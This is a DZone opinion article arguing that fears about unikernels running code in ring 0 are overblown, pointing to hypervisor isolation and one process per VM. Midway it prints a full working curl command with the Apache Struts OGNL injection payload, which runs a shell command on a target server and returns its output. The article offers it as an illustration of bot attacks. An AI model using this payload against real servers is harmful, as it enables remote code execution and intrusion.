Over a million developers have joined DZone.
{{announcement.body}}
{{announcement.title}}

Understanding Unikernel Ring 0 Misconceptions

DZone's Guide to

Understanding Unikernel Ring 0 Misconceptions

Because what do they know? Take a look at some misconceptions you might have heard about unikernals and the truth behind them.

· Open Source Zone ·
Free Resource

One of the oft-quoted misconceptions around unikernels is the concept of running “user-land” applications in ring 0 and how dangerous that is. This diatribe gets repeated so often that we might as well politicize it and call it "fake news."

Let’s start with the concerns — these usually are a combination of the following two arguments:

  1. “If you’re running in ring 0 you can crash the kernel and it won’t reboot! The kernel knows best!"
  2. “If you’re running in ring 0 you can attack other programs cause you’re effectively root!”

Now — both these arguments would be perfectly valid and true if you were, say, on a sun box in the mid-90s — pre-Amazon and pre-VMware. Back then our servers were not virtual and it was common to run multiple programs on the same server. Back in the 90s you could do a who and find half a dozen users on a box all running their own software so it was a major concern not just from the security aspects of being able to screw with other people’s programs but also if your program happened to do something so bad it crashed the machine you’d crash everyone else’s programs. For instance, maybe you incorrectly wrote software that made the nic go haywire or did some invalid DMA operation.

Well, guess what? It’s 2018 and it’s now over 20 years since that was the case. Most the servers anyone reading this article are going to touch are virtual and if you happen to work at a company like Uber or Twitter or NameAnyDamnSoftwareCompany chances are you are already segregating programs amongst individual servers since you just have too much. These companies don’t have a single database or web server anymore, let alone running on the same box. They have hundreds or thousands of database servers.

Also — the worry about crashing the underlying hardware? Pretty sure AWS doesn’t want you crashing other people’s VMs and I've somehow magically run unikernels on all the major public clouds. That concern is being taken care of by the underlying hypervisor at play and guess what? Despite what the containerati want you to believe, if you live on any public cloud infrastructure including AWS, GCE, or Azure, you are virtualized.

The fact of the matter is that most developers have only been exposed to and are acquainted with a monoculture of operating systems. If someone is using something "exotic" it’s BSD. There are not just two types of operating system designs a la micro-kernel vs. monolith — there is a whole zoo.

A lot of the confusion stems from the fact that most people that make these ring 0 claims simply have never even booted a unikernel before. It’s readily apparent to those that have that they would know some of the following characteristics of them.

Namely, they're always deployed as virtual machines sitting on a hypervisor. Even the IoT/Edge shops that are experimenting with them throw them on hypervisors if for no other reason than to manage them sanely.

In all the unikernel implementations I’m familiar with there is a very common distinction of having only one process per virtual machine. This trips people up quite a lot for some reason. It’s worth repeating — there is one process per virtual machine. So you quite literally can not run amuck with someone else’s program because it can’t exist in the first place. If there is another program running then it’s running in another isolated virtual machine by design.

As for the security argument — that’s just silly.

Unikernels tend to be way more secure than multiple process systems by design. If you look at almost any remote code execution attack it is all predicated on the fact that the attacker can eventually run their code on the end system. Attackers don’t care about bugs and exploits. Those are just the keys to the door of your house (which is a server). With no fork and no execve attacking becomes incredibly difficult. It’s one thing to grab the instruction pointer but it’s quite another to generate another process on the fly when you can’t, especially one attached to a shell, that doesn’t exist, especially one with a whole slew of libraries attached that probably don’t fit inside the pointer that you’ve managed to control that is perfectly positioned in memory when every single CI push builds a brand new image with a different memory layout.

Of course, this all assumes that you are some ultra 1337 h4x0r to begin with and not some bot that is probing for random unsecured struts installation like this code does:

curl -i -s -k  -X $'GET' \
    -H $'User-Agent: Mozilla/5.0' \
    -H $'Content-Type: %{(#_=\'multipart/form-data\').\
    (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).\
    (#_memberAccess?(#_memberAccess=#dm):(\
    (#container=#context[\'com.opensymphony.xwork2.ActionContext.container\'])\
    .(#ognlUtil=#container.getInstance\
    (@com.opensymphony.xwork2.ognl.OgnlUtil@class)).\
    (#ognlUtil.getExcludedPackageNames().clear()).\
    (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).\
    (#cmd=\'dir\').(#iswin=(@java.lang.System@getProperty(\'os.name\').\
    toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}\
    :{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds))\
    .(#p.redirectErrorStream(true)).(#process=#p.start()).\
    (#ros=(@org.apache.struts2.ServletActionContext@getResponse().\
    getOutputStream())).(@org.apache.commons.io.IOUtils@copy\
    (#process.getInputStream(),#ros)).(#ros.flush())}' \
    $'https://target'


Yeh — that's what took down Equifax...

Now, like most things, the devil is in the details.

The entire concept of privilege rings doesn’t really even fit in today’s architecture. Both Intel and AMD’s virtualization extensions are regarded as having the concept of ring -1 and if you talk to enough security researchers they’ll nod towards levels at -2 and -3. As of this writing with the China allegations, we might be looking at more.

It used to be the fact that Linux would reside in ring 0 for the kernel and ring 3 would be for user-land applications. In fact, on x86 Linux, ring 1 and 2 were completely ignored.

Most developers are unaware or have never even touched other architectures outside of x86 — if they have it might be ARM — but there are obviously much more than that.

In more "exotic" architectures like ARM they’re not even called ring levels but exception levels.

With the advent of all the recent Intel shenanigans coupled with the needs of AI utilizing ASICs/GPUs/FPGAs, I wouldn't be surprised if more architectures started gaining a lot more mainstream acceptance either.

To Sum Up

I'd be very careful listening to people opine on Twitter about operating systems, yet they have never taken an operating systems course nor have any experience writing at the systems level. I'd be especially careful of so-called cloud-native marketing people disguised as developers. Sounds like software development has fake news as well.

Topics:
unikernel ,linux ,security ,virtualization ,cloud ,containers

Opinions expressed by DZone contributors are their own.

{{ parent.title || parent.header.title}}

{{ parent.tldr }}

{{ parent.urlSource.name }}